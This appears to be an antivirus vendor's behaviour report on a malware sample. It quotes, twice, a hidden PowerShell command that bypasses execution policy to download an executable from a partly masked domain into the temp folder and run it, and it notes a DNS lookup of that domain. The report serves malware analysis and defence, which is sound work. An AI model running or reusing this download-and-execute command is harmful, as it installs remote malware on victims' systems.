Technical Information
Malicious functions
Downloads and executes
- http://po##it.net/vcv/0501973.exe as %temp+%\newfile.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://po##it.net/vcv/0501973.exe',$env:Temp+'\newfile.Exe');(New-Object -com Shell....
Network activity
UDP
- DNS ASK po##it.net
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://po##it.net/vcv/0501973.exe',$env:Temp+'\newfile.Exe');(New-Object -com Shell....' (with hidden window)
